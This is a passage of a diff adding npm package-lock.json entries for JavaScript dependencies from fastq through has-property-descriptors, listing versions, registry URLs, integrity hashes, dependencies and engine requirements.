+      "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fastify"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/fastify"
+        }
+      ],
+      "license": "BSD-3-Clause"
+    },
+    "node_modules/fastq": {
+      "version": "1.13.0",
+      "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz",
+      "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==",
+      "dependencies": {
+        "reusify": "^1.0.4"
+      }
+    },
+    "node_modules/faye-websocket": {
+      "version": "0.11.4",
+      "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz",
+      "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==",
+      "dependencies": {
+        "websocket-driver": ">=0.5.1"
+      },
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/fb-watchman": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz",
+      "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==",
+      "dependencies": {
+        "bser": "2.1.1"
+      }
+    },
+    "node_modules/file-entry-cache": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz",
+      "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==",
+      "dependencies": {
+        "flat-cache": "^3.0.4"
+      },
+      "engines": {
+        "node": "^10.12.0 || >=12.0.0"
+      }
+    },
+    "node_modules/file-loader": {
+      "version": "6.2.0",
+      "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz",
+      "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==",
+      "dependencies": {
+        "loader-utils": "^2.0.0",
+        "schema-utils": "^3.0.0"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^4.0.0 || ^5.0.0"
+      }
+    },
+    "node_modules/filelist": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz",
+      "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==",
+      "dependencies": {
+        "minimatch": "^5.0.1"
+      }
+    },
+    "node_modules/filelist/node_modules/brace-expansion": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
+      "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
+      "dependencies": {
+        "balanced-match": "^1.0.0"
+      }
+    },
+    "node_modules/filelist/node_modules/minimatch": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.0.tgz",
+      "integrity": "sha512-9TPBGGak4nHfGZsPBohm9AWg6NoT7QTCehS3BIJABslyZbzxfV78QM2Y6+i741OPZIafFAaiiEMh5OyIrJPgtg==",
+      "dependencies": {
+        "brace-expansion": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/filesize": {
+      "version": "8.0.7",
+      "resolved": "https://registry.npmjs.org/filesize/-/filesize-8.0.7.tgz",
+      "integrity": "sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ==",
+      "engines": {
+        "node": ">= 0.4.0"
+      }
+    },
+    "node_modules/finalhandler": {
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz",
+      "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==",
+      "dependencies": {
+        "debug": "2.6.9",
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "on-finished": "2.4.1",
+        "parseurl": "~1.3.3",
+        "statuses": "2.0.1",
+        "unpipe": "~1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/finalhandler/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/finalhandler/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/find-cache-dir": {
+      "version": "3.3.2",
+      "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz",
+      "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==",
+      "dependencies": {
+        "commondir": "^1.0.1",
+        "make-dir": "^3.0.2",
+        "pkg-dir": "^4.1.0"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/avajs/find-cache-dir?sponsor=1"
+      }
+    },
+    "node_modules/find-up": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
+      "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
+      "dependencies": {
+        "locate-path": "^6.0.0",
+        "path-exists": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/flat-cache": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz",
+      "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==",
+      "dependencies": {
+        "flatted": "^3.1.0",
+        "rimraf": "^3.0.2"
+      },
+      "engines": {
+        "node": "^10.12.0 || >=12.0.0"
+      }
+    },
+    "node_modules/flatted": {
+      "version": "3.2.7",
+      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz",
+      "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ=="
+    },
+    "node_modules/follow-redirects": {
+      "version": "1.15.6",
+      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.6.tgz",
+      "integrity": "sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==",
+      "funding": [
+        {
+          "type": "individual",
+          "url": "https://github.com/sponsors/RubenVerborgh"
+        }
+      ],
+      "engines": {
+        "node": ">=4.0"
+      },
+      "peerDependenciesMeta": {
+        "debug": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin": {
+      "version": "6.5.2",
+      "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.2.tgz",
+      "integrity": "sha512-m5cUmF30xkZ7h4tWUgTAcEaKmUW7tfyUyTqNNOz7OxWJ0v1VWKTcOvH8FWHUwSjlW/356Ijc9vi3XfcPstpQKA==",
+      "dependencies": {
+        "@babel/code-frame": "^7.8.3",
+        "@types/json-schema": "^7.0.5",
+        "chalk": "^4.1.0",
+        "chokidar": "^3.4.2",
+        "cosmiconfig": "^6.0.0",
+        "deepmerge": "^4.2.2",
+        "fs-extra": "^9.0.0",
+        "glob": "^7.1.6",
+        "memfs": "^3.1.2",
+        "minimatch": "^3.0.4",
+        "schema-utils": "2.7.0",
+        "semver": "^7.3.2",
+        "tapable": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=10",
+        "yarn": ">=1.0.0"
+      },
+      "peerDependencies": {
+        "eslint": ">= 6",
+        "typescript": ">= 2.7",
+        "vue-template-compiler": "*",
+        "webpack": ">= 4"
+      },
+      "peerDependenciesMeta": {
+        "eslint": {
+          "optional": true
+        },
+        "vue-template-compiler": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/ajv": {
+      "version": "6.12.6",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+      "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+      "license": "MIT",
+      "peer": true,
+      "dependencies": {
+        "fast-deep-equal": "^3.1.1",
+        "fast-json-stable-stringify": "^2.0.0",
+        "json-schema-traverse": "^0.4.1",
+        "uri-js": "^4.2.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/ajv-keywords": {
+      "version": "3.5.2",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
+      "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
+      "license": "MIT",
+      "peerDependencies": {
+        "ajv": "^6.9.1"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/cosmiconfig": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz",
+      "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==",
+      "dependencies": {
+        "@types/parse-json": "^4.0.0",
+        "import-fresh": "^3.1.0",
+        "parse-json": "^5.0.0",
+        "path-type": "^4.0.0",
+        "yaml": "^1.7.2"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/fs-extra": {
+      "version": "9.1.0",
+      "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
+      "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
+      "dependencies": {
+        "at-least-node": "^1.0.0",
+        "graceful-fs": "^4.2.0",
+        "jsonfile": "^6.0.1",
+        "universalify": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/json-schema-traverse": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+      "license": "MIT"
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/schema-utils": {
+      "version": "2.7.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.0.tgz",
+      "integrity": "sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.4",
+        "ajv": "^6.12.2",
+        "ajv-keywords": "^3.4.1"
+      },
+      "engines": {
+        "node": ">= 8.9.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/tapable": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz",
+      "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/form-data": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz",
+      "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==",
+      "dependencies": {
+        "asynckit": "^0.4.0",
+        "combined-stream": "^1.0.8",
+        "mime-types": "^2.1.12"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/forwarded": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
+      "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/fraction.js": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz",
+      "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==",
+      "engines": {
+        "node": "*"
+      },
+      "funding": {
+        "type": "patreon",
+        "url": "https://www.patreon.com/infusion"
+      }
+    },
+    "node_modules/fresh": {
+      "version": "0.5.2",
+      "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
+      "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/fs-extra": {
+      "version": "10.1.0",
+      "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz",
+      "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==",
+      "dependencies": {
+        "graceful-fs": "^4.2.0",
+        "jsonfile": "^6.0.1",
+        "universalify": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/fs-monkey": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.3.tgz",
+      "integrity": "sha512-cybjIfiiE+pTWicSCLFHSrXZ6EilF30oh91FDP9S2B051prEa7QWfrVTQm10/dDpswBDXZugPa1Ogu8Yh+HV0Q=="
+    },
+    "node_modules/fs.realpath": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+      "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="
+    },
+    "node_modules/fsevents": {
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+      "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+      "hasInstallScript": true,
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+      }
+    },
+    "node_modules/function-bind": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
+      "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A=="
+    },
+    "node_modules/function.prototype.name": {
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.5.tgz",
+      "integrity": "sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.0",
+        "functions-have-names": "^1.2.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/functions-have-names": {
+      "version": "1.2.3",
+      "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz",
+      "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/gensync": {
+      "version": "1.0.0-beta.2",
+      "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
+      "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/get-caller-file": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
+      "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
+      "engines": {
+        "node": "6.* || 8.* || >= 10.*"
+      }
+    },
+    "node_modules/get-intrinsic": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.3.tgz",
+      "integrity": "sha512-QJVz1Tj7MS099PevUG5jvnt9tSkXN8K14dxQlikJuPt4uD9hHAHjLyLBiLR5zELelBdD9QNRAXZzsJx0WaDL9A==",
+      "dependencies": {
+        "function-bind": "^1.1.1",
+        "has": "^1.0.3",
+        "has-symbols": "^1.0.3"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/get-own-enumerable-property-symbols": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz",
+      "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g=="
+    },
+    "node_modules/get-package-type": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz",
+      "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==",
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/get-stream": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz",
+      "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/get-symbol-description": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz",
+      "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "get-intrinsic": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/glob": {
+      "version": "7.2.3",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
+      "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
+      "deprecated": "Glob versions prior to v9 are no longer supported",
+      "dependencies": {
+        "fs.realpath": "^1.0.0",
+        "inflight": "^1.0.4",
+        "inherits": "2",
+        "minimatch": "^3.1.1",
+        "once": "^1.3.0",
+        "path-is-absolute": "^1.0.0"
+      },
+      "engines": {
+        "node": "*"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/glob-parent": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
+      "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
+      "dependencies": {
+        "is-glob": "^4.0.3"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/glob-to-regexp": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz",
+      "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="
+    },
+    "node_modules/global-modules": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz",
+      "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==",
+      "dependencies": {
+        "global-prefix": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/global-prefix": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz",
+      "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==",
+      "dependencies": {
+        "ini": "^1.3.5",
+        "kind-of": "^6.0.2",
+        "which": "^1.3.1"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/global-prefix/node_modules/which": {
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+      "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+      "dependencies": {
+        "isexe": "^2.0.0"
+      },
+      "bin": {
+        "which": "bin/which"
+      }
+    },
+    "node_modules/globals": {
+      "version": "11.12.0",
+      "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
+      "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/globby": {
+      "version": "11.1.0",
+      "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz",
+      "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==",
+      "dependencies": {
+        "array-union": "^2.1.0",
+        "dir-glob": "^3.0.1",
+        "fast-glob": "^3.2.9",
+        "ignore": "^5.2.0",
+        "merge2": "^1.4.1",
+        "slash": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/gopd": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz",
+      "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==",
+      "dependencies": {
+        "get-intrinsic": "^1.1.3"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/graceful-fs": {
+      "version": "4.2.10",
+      "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz",
+      "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA=="
+    },
+    "node_modules/grapheme-splitter": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz",
+      "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ=="
+    },
+    "node_modules/gzip-size": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/gzip-size/-/gzip-size-6.0.0.tgz",
+      "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==",
+      "dependencies": {
+        "duplexer": "^0.1.2"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/handle-thing": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz",
+      "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg=="
+    },
+    "node_modules/harmony-reflect": {
+      "version": "1.6.2",
+      "resolved": "https://registry.npmjs.org/harmony-reflect/-/harmony-reflect-1.6.2.tgz",
+      "integrity": "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g=="
+    },
+    "node_modules/has": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
+      "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
+      "dependencies": {
+        "function-bind": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4.0"
+      }
+    },
+    "node_modules/has-bigints": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz",
+      "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/has-flag": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npm.taobao.org/has-flag/download/has-flag-3.0.0.tgz?cache=0&sync_timestamp=1618559744568&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-flag%2Fdownload%2Fhas-flag-3.0.0.tgz",
+      "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/has-property-descriptors": {
+      "version": "1.0.0",
